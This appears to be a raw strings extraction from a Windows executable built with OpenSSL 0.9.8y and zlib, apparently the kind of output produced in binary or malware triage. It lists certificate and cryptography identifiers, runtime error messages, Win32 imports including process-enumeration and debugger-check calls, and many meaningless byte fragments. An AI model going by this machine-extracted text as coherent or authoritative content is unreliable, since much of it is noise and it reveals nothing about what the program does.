id-mod-qualified-cert-88
id-mod-qualified-cert-93
id-mod-timestamp-protocol
id-on-permanentIdentifier
id-on-personalData
id-PasswordBasedMAC
id-pda
id-pda-countryOfCitizenship
id-pda-countryOfResidence
id-pda-dateOfBirth
id-pda-gender
id-pda-placeOfBirth
id-pkip
id-pkix1-explicit-88
id-pkix1-explicit-93
id-pkix1-implicit-88
id-pkix1-implicit-93
id-pkix-mod
id-ppl
id-ppl-anyLanguage
id-ppl-independent
id-ppl-inheritAll
id-qcs
id-qcs-pkixQCSyntax-v1
id-qt-cps
id-qt-unotice
id-regCtrl
id-regCtrl-authenticator
id-regCtrl-oldCertID
id-regCtrl-pkiArchiveOptions
id-regCtrl-pkiPublicationInfo
id-regCtrl-protocolEncrKey
id-regCtrl-regToken
id-regInfo
id-regInfo-certReq
id-regInfo-utf8Pairs
id-set
id-smime-aa
id-smime-aa-contentHint
id-smime-aa-contentIdentifier
id-smime-aa-contentReference
id-smime-aa-dvcs-dvc
id-smime-aa-encapContentType
id-smime-aa-encrypKeyPref
id-smime-aa-equivalentLabels
id-smime-aa-ets-archiveTimeStamp
id-smime-aa-ets-certCRLTimestamp
id-smime-aa-ets-CertificateRefs
id-smime-aa-ets-certValues
id-smime-aa-ets-commitmentType
id-smime-aa-ets-contentTimestamp
id-smime-aa-ets-escTimeStamp
id-smime-aa-ets-otherSigCert
id-smime-aa-ets-RevocationRefs
id-smime-aa-ets-revocationValues
id-smime-aa-ets-signerAttr
id-smime-aa-ets-signerLocation
id-smime-aa-ets-sigPolicyId
id-smime-aa-macValue
id-smime-aa-mlExpandHistory
id-smime-aa-msgSigDigest
id-smime-aa-receiptRequest
id-smime-aa-securityLabel
id-smime-aa-signatureType
id-smime-aa-signingCertificate
id-smime-aa-smimeEncryptCerts
id-smime-aa-timeStampToken
id-smime-alg
id-smime-alg-3DESwrap
id-smime-alg-CMS3DESwrap
id-smime-alg-CMSRC2wrap
id-smime-alg-ESDH
id-smime-alg-ESDHwith3DES
id-smime-alg-ESDHwithRC2
id-smime-alg-RC2wrap
id-smime-cd
id-smime-cd-ldap
id-smime-ct
id-smime-ct-authData
id-smime-ct-compressedData
id-smime-ct-contentInfo
id-smime-ct-DVCSRequestData
id-smime-ct-DVCSResponseData
id-smime-cti
id-smime-cti-ets-proofOfApproval
id-smime-cti-ets-proofOfCreation
id-smime-cti-ets-proofOfDelivery
id-smime-cti-ets-proofOfOrigin
id-smime-cti-ets-proofOfReceipt
id-smime-cti-ets-proofOfSender
id-smime-ct-publishCert
id-smime-ct-receipt
id-smime-ct-TDTInfo
id-smime-ct-TSTInfo
id-smime-mod
id-smime-mod-cms
id-smime-mod-ess
id-smime-mod-ets-eSignature-88
id-smime-mod-ets-eSignature-97
id-smime-mod-ets-eSigPolicy-88
id-smime-mod-ets-eSigPolicy-97
id-smime-mod-msg-v3
id-smime-mod-oid
id-smime-spq
id-smime-spq-ets-sqt-unotice
id-smime-spq-ets-sqt-uri
>If90t
incompatible version
incomplete distance tree
incomplete dynamic bit lengths tree
incomplete literal/length tree
incorrect data check
incorrect header check
Independent
 inflate 1.1.3 Copyright 1995-1998 Mark Adler 
Inherit all
inhibitAnyPolicy
InitializeCriticalSection
InitializeCriticalSectionAndSpinCount
initials
insufficient memory
InterlockedDecrement
InterlockedIncrement
internationaliSDNNumber
international-organizations
International Organizations
int_err_get (err.c)
int_thread_get (err.c)
invalid bit length repeat
invalid block type
invalid distance code
invalidityDate
Invalidity Date
-invalid literal/length code
invalid stored block lengths
invalid window size
ipsec3
ipsec4
ipsecEndSystem
IPSec End System
ipsecTunnel
IPSec Tunnel
ipsecUser
IPSec User
>+>:>I>S>]>
IsDebuggerPresent
ISO Member Body
ISO-US
ISO US Member Body
issuerAltName
issuer capabilities
issuingDistributionPoint
IsValidCodePage
janetMailbox
JanFebMarAprMayJunJulAugSepOctNovDec
January
jCjkj&
jCjlj&
jCjwj&
jdjdj$
JEEEEEEEEEEFC
JEEEEEEEEEEFD
JEFEEEEEEEEEB
jejtj 
JHHGGGGGGGGHI
JJIIIIJIIIIJJ
jjjkj&
j@j ^V
joint-iso-itu-t
JOINT-ISO-ITU-T
;*;J;P;l;
j"^SSSSS
jYPQTVTSkllZTTXRTUiHceWda/
KERNEL32
KERNEL32.dll
KERNEL32.DLL
keyBag
keyUsage
l$$#\$
L$ +|$
L$$^][
L$0_]^
L$03L$(
L$0)l$
L$0QRP
L$0RPQUV
#l$ @3
#l$$@3
l$ 3|$H
L$@3L$0
l$ 3|$P
L$83L$(
l$88L$Lt^
L$$AHB
lastModifiedBy
lastModifiedTime
LCMapStringA
LCMapStringW
#\$@#l$D#
l$d3|$4
L$d3|$L
l$d3|$P
l$d3T$L3
LeaveCriticalSection
L$H_^]3
lhash part of OpenSSL 0.9.8y 5 Feb 2013
L$@;L$
LoadLibraryA
LoadLibraryW
LoadResource
LocalFileTimeToFileTime
localityName
localKeyID
LocalKeySet
`local static guard'
`local static thread guard'
`local vftable'
`local vftable constructor closure'
LockResource
L$,PPj
L$ PQR
L$ PQVWU
L$,QhP
L$@RWPQ
L$T3L$(
L$T3L$@
L$X3L$8
L$X3L$D
mailPreferenceOption
`managed vector constructor iterator'
`managed vector copy constructor iterator'
`managed vector destructor iterator'
Management
manager
md2WithRSAEncryption
md4WithRSAEncryption
md5-sha1
MD5-SHA1
md5WithRSA
md5WithRSAEncryption
mdc2WithRSA
md_gost94
member
member-body
merchant initiated auth
MessageBoxA
messageDigest
message extensions
Microsoft Commercial Code Signing
Microsoft CSP Name
Microsoft Encrypted File System
Microsoft Extension Request
Microsoft Individual Code Signing
Microsoft Local Key set
Microsoft Server Gated Crypto
Microsoft Smartcardlogin
Microsoft Trust List Signing
Microsoft Universal Principal Name
Microsoft Visual C++ Runtime Library
mime-mhs
MIME MHS
mime-mhs-bodies
mime-mhs-headings
MM/dd/yy
mobileTelephoneNumber
Module32First
@Module32Next
Monday
MoveFileW
msCodeCom
msCodeInd
msCTLSign
msExtReq
msSmartcardLogin
MultiByteToWideChar
mXRecord
n(9F4u
nameConstraints
need dictionary
NETAPI32.DLL
NetApiBufferFree
Netscape
Netscape Base Url
Netscape CA Policy Url
Netscape CA Revocation Url
Netscape Certificate Extension
Netscape Certificate Sequence
Netscape Cert Type
Netscape Comment
Netscape Communications Corp.
Netscape Data Type
Netscape Renewal Url
Netscape Revocation Url
Netscape Server Gated Crypto
Netscape SSL Server Name
NetStatisticsGet
 new[]
noCheck
noRevAvail
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
nsBaseUrl
nsCaPolicyUrl
nsCaRevocationUrl
nsCertExt
nsCertSequence
nsCertType
nsComment
nsDataType
nSRecord
nsRenewalUrl
nsRevocationUrl
nsSslServerName
(null)
Nw~ytMMMMMMUbbrrrrrxxxxxxxxrriUMMMMMMMMMUuzt
NXQVj	
)O6530./21+*-,4#4PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
O(@>=77A779?<8;$O' 
O7c7m7
Oakley-EC2N-3
Oakley-EC2N-4
OCSP Archive Cutoff
OCSP CRL ID
OCSP No Check
OCSP Nonce
OCSP Service Locator
OCSPSigning
OCSP Signing
October
O%JEEEEEEEEEFFB
`omni callsig'
onBasis
OpenProcess
OPENSSL
OpenSSL: FATAL
operator
organizationalStatus
organizationalUnitName
organizationName
otherMailbox
OutputDebugStringW
oversubscribed distance tree
oversubscribed dynamic bit lengths tree
oversubscribed literal/length tree
=}>-?P?
pagerTelephoneNumber
parameter
__pascal
password based MAC
payment gateway capabilities
PBE-MD2-DES
PBE-MD2-RC2-64
PBE-MD5-DES
PBE-MD5-RC2-64
PBE-SHA1-2DES
PBE-SHA1-3DES
PBE-SHA1-DES
PBE-SHA1-RC2-128
PBE-SHA1-RC2-40
PBE-SHA1-RC2-64
PBE-SHA1-RC4-128
PBE-SHA1-RC4-40
pbeWithMD2AndDES-CBC
pbeWithMD2AndRC2-CBC
pbeWithMD5AndCast5CBC
pbeWithMD5AndDES-CBC
pbeWithMD5AndRC2-CBC
pbeWithSHA1And128BitRC2-CBC
pbeWithSHA1And128BitRC4
pbeWithSHA1And2-KeyTripleDES-CBC
pbeWithSHA1And3-KeyTripleDES-CBC
pbeWithSHA1And40BitRC2-CBC
pbeWithSHA1And40BitRC4
pbeWithSHA1AndDES-CBC
pbeWithSHA1AndRC2-CBC
PBKDF2
PBMAC1
Permanent Identifier
personalSignature
personalTitle
physicalDeliveryOfficeName
pilotAttributeSyntax
pilotAttributeType
pilotAttributeType27
pilotDSA
pilotGroups
pilotObject
pilotObjectClass
pilotOrganization
pilotPerson
;>=P=]=i=s={=
pkcs7-data
pkcs7-digestData
pkcs7-encryptedData
pkcs7-envelopedData
pkcs7-signedAndEnvelopedData
pkcs7-signedData
pkcs8ShroudedKeyBag
`placement delete closure'
`placement delete[] closure'
Please contact the application's support team for more information.
policyConstraints
policyMappings
Policy Qualifier CPS
Policy Qualifier User Notice
postalAddress
postalCode
PostMessageW
postOfficeBox
ppBasis
PPPPPPPP
PPPPPPPPPPPPPPPPPKMNNNNNNNNNNOLO
preferredDeliveryMethod
presentationAddress
prf-gostr3411-94
PRhdiC
prime192v1
prime192v2
prime192v3
prime239v1
prime239v2
prime239v3
prime256v1
prime-field
private
Private
privateKeyUsagePeriod
Process32First
Process32Next
Program: 
<program name unknown>
protocolInformation
Proxy Certificate Information
proxyCertInfo
PSAPI.DLL
pseudonym
\$ PSUV
__ptr64
>p?t?x?|?
- pure virtual function call
:P;V;[;a;h;z;
pwwwwwwww
pwwwwwwwwwwwwwwwp
pxDDDDDDDDD@
pxDDDDDDDDDDDDDDpx
pxDDDDDDDDDH
pxDDDDDDpx
pxwwwwwwpxDDD
pxwwwwwwwwwwwwwxpx
=;=^=q=
:.:`:q:
qcStatements
Qkkbal
}>qooggggggg1`_fhsnHK
QQSVWd
QQSVWh
qualityLabelledData
QueryPerformanceCounter
RaiseException
RAND part of OpenSSL 0.9.8y 5 Feb 2013
rc2-40-cbc
RC2-40-CBC
rc2-64-cbc
RC2-64-CBC
rc2-cbc
RC2-CBC
rc2-cfb
RC2-CFB
rc2-ecb
RC2-ECB
rc2-ofb
RC2-OFB
rc4-40
RC4-40
rc5-cbc
RC5-CBC
rc5-cfb
RC5-CFB
rc5-ecb
RC5-ECB
rc5-ofb
RC5-OFB
`.rdata
ReadFile
registeredAddress
RegisterEventSourceA
@.reloc
RemoveDirectoryW
ReportEventA
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
      <requestedPrivileges>
__restrict
rFC822localPart
rfc822Mailbox
ripemd160
RIPEMD160
ripemd160WithRSA
roleOccupant
roomNumber
RSA Data Security, Inc.
RSA Data Security, Inc. PKCS
rsadsi
rsaEncryption
RSA-MD2
RSA-MD4
RSA-MD5
RSA-MDC2
RSA-NP-MD5
rsaOAEPEncryptionSET
RSA-RIPEMD160
RSA-SHA
RSA-SHA1
RSA-SHA1-2
RSA-SHA224
RSA-SHA256
RSA-SHA384
RSA-SHA512
rsaSignature
RtlUnwind
run length compression
runtime error 
Runtime Error!
safeContentsBag
Saturday
sbgp-autonomousSysNum
sbgp-ipAddrBlock
sbgp-routerIdentifier
`scalar deleting destructor'
%s(%d): OpenSSL internal error, assertion failed: %s
sdsiCertificate
searchGuide
secp112r1
secp112r2
secp128r1
secp128r2
secp160k1
secp160r1
secp160r2
secp192k1
secp224k1
secp224r1
secp256k1
secp384r1
secp521r1
secretary
secretBag
sect113r1
sect113r2
sect131r1
sect131r2
sect163k1
sect163r1
sect163r2
sect193r1
sect193r2
sect233k1
sect233r1
sect239k1
sect283k1
sect283r1
sect409k1
sect409r1
sect571k1
sect571r1
secure device signature
Secure Electronic Transactions
security
    </security>
    <security>
Security
seeAlso
seed-cbc
SEED-CBC
seed-cfb
SEED-CFB
seed-ecb
SEED-ECB
seed-ofb
SEED-OFB
selected-attribute-types
Selected Attribute Types
September
serialNumber
serverAuth
serviceLocator
set-addPolicy
set-attr
setAttr-Cert
setAttr-GenCryptgrm
setAttr-IssCap
setAttr-IssCap-CVM
setAttr-IssCap-Sig
setAttr-IssCap-T2
setAttr-PGWYcap
setAttr-SecDevSig
setAttr-T2cleartxt
setAttr-T2Enc
setAttr-Token-B0Prime
setAttr-Token-EMV
setAttr-TokenType
setAttr-TokICCsig
set-brand
set-brand-AmericanExpress
set-brand-Diners
set-brand-IATA-ATA
set-brand-JCB
set-brand-MasterCard
set-brand-Novus
set-brand-Visa
set-certExt
setCext-cCertRequired
setCext-certType
setCext-hashedRoot
setCext-IssuerCapabilities
setCext-merchData
setCext-PGWYcapabilities
setCext-setExt
setCext-setQualf
setCext-TokenIdentifier
setCext-TokenType
setCext-Track2Data
setCext-tunneling
setct-AcqCardCodeMsg
setct-AcqCardCodeMsgTBE
setct-AuthReqTBE
setct-AuthReqTBS
setct-AuthResBaggage
setct-AuthResTBE
setct-AuthResTBEX
setct-AuthResTBS
setct-AuthResTBSX
setct-AuthRevReqBaggage
setct-AuthRevReqTBE
setct-AuthRevReqTBS
setct-AuthRevResBaggage
setct-AuthRevResData
setct-AuthRevResTBE
setct-AuthRevResTBEB
setct-AuthRevResTBS
setct-AuthTokenTBE
setct-AuthTokenTBS
setct-BatchAdminReqData
setct-BatchAdminReqTBE
setct-BatchAdminResData
setct-BatchAdminResTBE
setct-BCIDistributionTBS
setct-CapReqTBE
setct-CapReqTBEX
setct-CapReqTBS
setct-CapReqTBSX
setct-CapResData
setct-CapResTBE
setct-CapRevReqTBE
setct-CapRevReqTBEX
setct-CapRevReqTBS
setct-CapRevReqTBSX
setct-CapRevResData
setct-CapRevResTBE
setct-CapTokenData
setct-CapTokenSeq
setct-CapTokenTBE
setct-CapTokenTBEX
setct-CapTokenTBS
setct-CardCInitResTBS
setct-CertInqReqTBS
setct-CertReqData
setct-CertReqTBE
setct-CertReqTBEX
setct-CertReqTBS
setct-CertResData
setct-CertResTBE
setct-CredReqTBE
setct-CredReqTBEX
setct-CredReqTBS
setct-CredReqTBSX
setct-CredResData
setct-CredResTBE
setct-CredRevReqTBE
setct-CredRevReqTBEX
setct-CredRevReqTBS
setct-CredRevReqTBSX
setct-CredRevResData
setct-CredRevResTBE
setct-CRLNotificationResTBS
setct-CRLNotificationTBS
setct-ErrorTBS
setct-HODInput
setct-MeAqCInitResTBS
setct-OIData
setct-PANData
setct-PANOnly
setct-PANToken
setct-PCertReqData
setct-PCertResTBS
setct-PI
setct-PIData
setct-PIDataUnsigned
setct-PIDualSignedTBE
setct-PInitResData
setct-PI-TBS
setct-PIUnsignedTBE
setct-PResData
setct-RegFormReqTBE
setct-RegFormResTBS
set-ctype
SetEndOfFile
setext-cv
setext-genCrypt
setext-miAuth
setext-pinAny
setext-pinSecure
setext-track2
SetFilePointer
SetHandleCount
SetLastError
set-msgExt
set-policy
set-policy-root
set-rootKeyThumb
SetStdHandle
SetUnhandledExceptionFilter
SHA1 part of OpenSSL 0.9.8y 5 Feb 2013
sha1WithRSA
sha1WithRSAEncryption
sha224
SHA224
sha224WithRSAEncryption
sha256
SHA256
SHA-256 part of OpenSSL 0.9.8y 5 Feb 2013
sha256WithRSAEncryption
sha384
SHA384
sha384WithRSAEncryption
sha512
SHA512
SHA-512 part of OpenSSL 0.9.8y 5 Feb 2013
sha512WithRSAEncryption
shaWithRSAEncryption
SHLWAPI.dll
signature has problems, re-make with post SSLeay045
signingTime
simpleSecurityObject
SING error
singleLevelQuality
SizeofResource
S/MIME
S/MIME Capabilities
SMIME-CAPS
snmpv2
SNMPv2
sOARecord
s[S;7|G;w
^SSSSS
Stack part of OpenSSL 0.9.8y 5 Feb 2013
stateOrProvinceName
__stdcall
stream end
stream error
street
streetAddress
`string'
Strong Extranet ID
StrStrIW
subjectAltName
subjectDirectoryAttributes
subjectInfoAccess
Subject Information Access
subjectKeyIdentifier
subtreeMaximumQuality
subtreeMinimumQuality
Sunday
SunMonTueWedThuFriSat
supportedAlgorithms
supportedApplicationContext
surname
\SUVW3
SXNetID
SystemTimeToFileTime
?+?>?T?{?
T$ _[^
t$03\$x
t$03|$x3\$|
T$0SRQP
|$T3|$(
|$T3|$@
|$T3|$L
t$ 3|$P
t$@3t$<
t$@3t$0
T$83|$4
t$83t$(
t$83t$(3t$<3t$H
T$8#T$
targetInformation
t$d3|$<
t$d3|$(
t$D3|$L
telephoneNumber
teletexTerminalIdentifier
telexNumber
TerminateProcess
textEncodedORAddress
textNotice
tGHt.Ht&
+t HHt
This application has requested the Runtime to terminate it in an unusual way.
__thiscall
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
Thread32First
Thread32Next
#T$H#\$T#t$L#|$P3
Thursday
timeStamping
Time Stamping
t jyh0
TLOSS error
T$LRPVU
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
TLS Web Client Authentication
TLS Web Server Authentication
too many length or distance symbols
tpBasis
T$Ph<ZD
t$PVQPR
T$$QRV
tR99u2
  </trustInfo>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
trustRoot
Trust Root
T$ RVW
T$ RWU
t"SS9]
<+t(<-t$:
T$()T$
T$@;T$
t$T3t$(
t$T3t$@
t$T3t$L
#\$T#t$L3
Tuesday
T$ URW
;t$,v-
@tVUUUS
t+WWVPV
t$X3|$83L$X3|$<3L$L
t$X3t$8
t$X3t$D
, Type=
 Type Descriptor'
`typeof'
u	_^]3
u)8L$Lu#
ud_^]3
`udt returning'
u)jAXf;
- unable to initialize heap
- unable to open console device
__unaligned
undefined
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UNICODE
uniqueMember
unknown compression method
Unknown exception
unstructuredAddress
unstructuredName
 unzip 0.15 Copyright 1998 Gilles Vollant 
UQPXY]Y[
URPQQh
USER32.dll
USER32.DLL
userCertificate
userClass
userId
userPassword
UTF-16LE
\$(UVW
`vbase destructor'
`vbtable'
`vcall'
`vector constructor iterator'
`vector copy constructor iterator'
`vector deleting destructor'
`vector destructor iterator'
`vector vbase constructor iterator'
`vector vbase copy constructor iterator'
<'<.<V<f<
`vftable'
VirtualAlloc
`virtual displacement map'
VirtualFree
v	N+D$
_VVVVV
VWjwh0
<?=W=\=
w|^_]3
W95LQD
w(9w$u
wap-wsg
wap-wsg-idm-ecid-wtls1
wap-wsg-idm-ecid-wtls10
wap-wsg-idm-ecid-wtls11
wap-wsg-idm-ecid-wtls12
wap-wsg-idm-ecid-wtls3
wap-wsg-idm-ecid-wtls4
wap-wsg-idm-ecid-wtls5
wap-wsg-idm-ecid-wtls6
wap-wsg-idm-ecid-wtls7
wap-wsg-idm-ecid-wtls8
wap-wsg-idm-ecid-wtls9
Wednesday
whirlpool
WideCharToMultiByte
WkV21TSav^8{
WriteConsoleA
WriteConsoleW
WriteFile
WritePrivateProfileStringW
WriteProfileStringW
wsprintfW
^WWWWW
wwwwwwwpx
wwwwwwwwwwwwwwwpx
x121Address
X500algorithms
x500UniqueIdentifier
X509_ALGOR
X509_ALGORS
x509Certificate
x509Crl
X509_SIG
X509v3 AC Targeting
X509v3 Any Policy
X509v3 Authority Key Identifier
X509v3 Basic Constraints
X509v3 Certificate Issuer
X509v3 Certificate Policies
X509v3 CRL Distribution Points
X509v3 CRL Number
X509v3 CRL Reason Code
X509v3 Delta CRL Indicator
X509v3 Extended Key Usage
X509v3 Freshest CRL
X509v3 Inhibit Any Policy
X509v3 Issuer Alternative Name
X509v3 Issuing Distrubution Point
X509v3 Key Usage
X509v3 Name Constraints
X509v3 No Revocation Available
X509v3 Policy Constraints
X509v3 Policy Mappings
X509v3 Private Key Usage Period
X509v3 Subject Alternative Name
X509v3 Subject Directory Attributes
X509v3 Subject Key Identifier
X9.57 CM ?
?$?(?<?X?\?p?
xppwpp
xpxxxx
You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html
>=Yt1j
{|yvrrwsqpon
zlib compression
}zy|yx~